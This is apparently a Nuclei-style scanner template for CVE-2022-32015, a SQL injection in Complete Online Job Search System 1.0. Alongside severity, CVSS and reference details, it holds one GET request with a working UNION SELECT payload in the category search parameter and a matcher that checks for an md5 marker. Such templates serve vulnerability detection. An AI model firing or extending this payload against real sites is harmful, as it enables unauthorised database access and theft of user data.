Complete Online Job Search System 1.0 - SQL Injection

id: CVE-2022-32015

info:
  name: Complete Online Job Search System 1.0 - SQL Injection
  author: arafatansari
  severity: high
  description: |
    Complete Online Job Search System 1.0 contains a SQL injection vulnerability via /eris/index.php?q=category&search=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Authenticated administrators with high privileges can execute arbitrary SQL queries through the search parameter in the category endpoint, potentially extracting sensitive database information including user credentials, job applications, and employer data.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Complete Online Job Search System 1.0.
  reference:
    - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-8.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32015
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-32015
    cwe-id: CWE-89
    epss-score: 0.04563
    epss-percentile: 0.91677
    cpe: cpe:2.3:a:complete_online_job_search_system_project:complete_online_job_search_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: complete_online_job_search_system_project
    product: complete_online_job_search_system
  tags: cve,cve2022,sqli,jobsearch,complete_online_job_search_system_project,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5({{num}}),15,16,17,18,19--+"

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'